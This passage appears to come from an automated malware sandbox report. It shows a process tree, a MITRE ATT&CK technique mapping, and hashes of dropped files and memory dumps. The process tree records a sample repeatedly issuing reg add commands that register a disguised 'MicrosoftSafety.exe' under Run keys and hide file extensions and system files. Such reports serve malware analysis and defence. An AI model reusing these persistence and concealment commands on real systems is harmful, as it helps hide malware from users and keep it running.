      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:5008
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1712
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:6052
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    PID:2224
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      PID:5212
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    PID:3732
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:1660
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1900
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:1688
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4776
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:4688
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    PID:3188
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      PID:4436
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:464
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:5180
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6092
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:6120
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:5156
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:5124
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    PID:4928
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      PID:908
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    PID:5408
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:2608
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:224
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:1736
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:5896
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:1020
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    PID:816
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
      4⤵
      Modifies visibility of file extensions in Explorer
      System Location Discovery: System Language Discovery
      PID:1556
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
    3⤵
    PID:4404
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
      4⤵
      Modifies visiblity of hidden/system files in Explorer
      PID:2308
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:3160
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:5444
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
    3⤵
    PID:2668
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
      4⤵
      Adds Run key to start application
      PID:5644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3652

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3828

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
PID:3924

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3992

C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
PID:716

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4148

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\InputApp\TextInputHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\InputApp\TextInputHost.exe" -ServerName:InputApp.AppX9jnwykgrccxc8by3hsrsh07r423xzvav.mca
1⤵
PID:1196

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:216

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:756

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3188

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5124

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Replication Through Removable Media

T1091

Execution

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Hidden Users

T1564.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Network Share Discovery

T1135

Peripheral Device Discovery

T1120

Permission Groups Discovery

T1069

Local Groups

T1069.001

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Replication Through Removable Media

T1091

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program File\Microsoft\MicrosoftSafety.exe

Filesize
272KB

MD5
0e0141fe51adfab0f9bd375552f6a2a4

SHA1
1087268bd2c062ecf09c91b4df50b58ced847784

SHA256
a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b

SHA512
339f91408efd7ed5ab5fe7e69986aff82ac7678a767bbda2056877d2f4556bc294c8aa279d9bc244e00da809091a408c6af9b373e76a916660fff0d65c3e606d

Download Submit
C:\oolac.exe

Filesize
97KB

MD5
7f62cd8e91156d0264de29579d1e9a1d

SHA1
045b6033dbab93f44982a943237f2a6ae6fcac4a

SHA256
04109aeec25ce772739ae74ce207b659bca933eadef40c3e81f70d0cac72eda1

SHA512
3535abf1de4059ca40ecedb036aca77d57dcb55e20934802cc7a0e17492ee4da245c924114f27c2570686814c683d5bd708dce7036d34616b4de20d8e8c000aa

Download Submit
F:\autorun.inf

Filesize
87B

MD5
a58e87ffeec377bdfe74aa489e222618

SHA1
ce4755bf320611f95b2e6fd8128a95d22b2680da

SHA256
fd5ee8d0b5bfe9e3d8e7088253d80602c554d62d2ee69ad9270722c251d6eff0

SHA512
1e5cf2c04ecc7e16dd26020c73a8a47059cce08f8224632621818d62dd00f928a1829e385db4cfbda1dc438dcc1187903556dd483d5786ebe6cfad915a459c66

Download Submit
memory/548-49-0x0000000000490000-0x0000000000491000-memory.dmp

Filesize
4KB

Download
memory/664-57-0x0000000000FF0000-0x0000000000FF1000-memory.dmp

Filesize
4KB

Download
memory/936-39-0x0000000000180000-0x0000000000181000-memory.dmp

Filesize
4KB

Download
memory/1016-18-0x0000000001210000-0x0000000001211000-memory.dmp

Filesize
4KB

Download
memory/1492-75-0x0000000000E10000-0x0000000000E11000-memory.dmp

Filesize
4KB

Download
memory/1608-41-0x00000000003F0000-0x00000000003F1000-memory.dmp

Filesize
4KB

Download
memory/1700-67-0x0000000000070000-0x0000000000071000-memory.dmp

Filesize
4KB

Download
memory/1720-37-0x00000000000C0000-0x00000000000C1000-memory.dmp

Filesize
4KB

Download
memory/1832-77-0x0000000000EA0000-0x0000000000EA1000-memory.dmp

Filesize
4KB

Download
memory/1924-73-0x0000000000C20000-0x0000000000C21000-memory.dmp

Filesize
4KB

Download
memory/2036-55-0x00000000000C0000-0x00000000000C1000-memory.dmp

Filesize
4KB

Download
memory/2388-20-0x0000000000D60000-0x0000000000D61000-memory.dmp

Filesize
4KB

Download
memory/2504-35-0x0000000000790000-0x0000000000791000-memory.dmp

Filesize
4KB

Download
memory/2600-53-0x0000000000120000-0x0000000000121000-memory.dmp

Filesize
4KB

Download
memory/2648-33-0x0000000000950000-0x0000000000951000-memory.dmp

Filesize
4KB

Download
memory/2692-45-0x00000000008F0000-0x00000000008F1000-memory.dmp

Filesize
4KB

Download
memory/2872-27-0x0000000000AE0000-0x0000000000AE1000-memory.dmp

Filesize
4KB

Download
memory/3376-29-0x00000000001D0000-0x00000000001D1000-memory.dmp

Filesize
4KB

Download
memory/3412-81-0x00000000001D0000-0x00000000001D1000-memory.dmp

Filesize
4KB

Download
memory/3488-47-0x0000000000D10000-0x0000000000D11000-memory.dmp

Filesize
4KB

Download
memory/3584-69-0x0000000000670000-0x0000000000671000-memory.dmp

Filesize
4KB

Download
memory/3972-51-0x00000000000F0000-0x00000000000F1000-memory.dmp

Filesize
4KB

Download
memory/4092-71-0x0000000000B00000-0x0000000000B01000-memory.dmp

Filesize
4KB

Download
memory/4168-79-0x0000000000A20000-0x0000000000A21000-memory.dmp

Filesize
4KB

Download
memory/4292-31-0x0000000000120000-0x0000000000121000-memory.dmp

Filesize
4KB

Download
memory/4296-16-0x0000000000670000-0x0000000000671000-memory.dmp

Filesize
4KB

Download
memory/4424-43-0x00000000004E0000-0x00000000004E1000-memory.dmp

Filesize
4KB

Download
memory/4796-25-0x0000000000910000-0x0000000000911000-memory.dmp

Filesize
4KB

Download
memory/5100-0-0x0000000000400000-0x0000000000444000-memory.dmp

Filesize
272KB

Download
memory/5100-12-0x0000000002B20000-0x0000000003BDA000-memory.dmp

Filesize
16.7MB

Download
memory/5100-11-0x0000000002B20000-0x0000000003BDA000-memory.dmp

Filesize
16.7MB

Download
memory/5100-13-0x00000000045E0000-0x00000000045E2000-memory.dmp

Filesize
8KB

Download
memory/5100-23-0x00000000045E0000-0x00000000045E2000-memory.dmp

Filesize
8KB

Download
memory/5100-14-0x0000000004830000-0x0000000004831000-memory.dmp

Filesize
4KB

Download
memory/5100-21-0x0000000002B20000-0x0000000003BDA000-memory.dmp

Filesize
16.7MB

Download
memory/5100-2-0x0000000002B20000-0x0000000003BDA000-memory.dmp

Filesize
16.7MB

Download
memory/5100-229-0x0000000002B20000-0x0000000003BDA000-memory.dmp

Filesize
16.7MB

Download
memory/5100-1-0x0000000002B20000-0x0000000003BDA000-memory.dmp

Filesize
16.7MB

Download
memory/5100-285-0x0000000000400000-0x0000000000444000-memory.dmp

Filesize
272KB

Download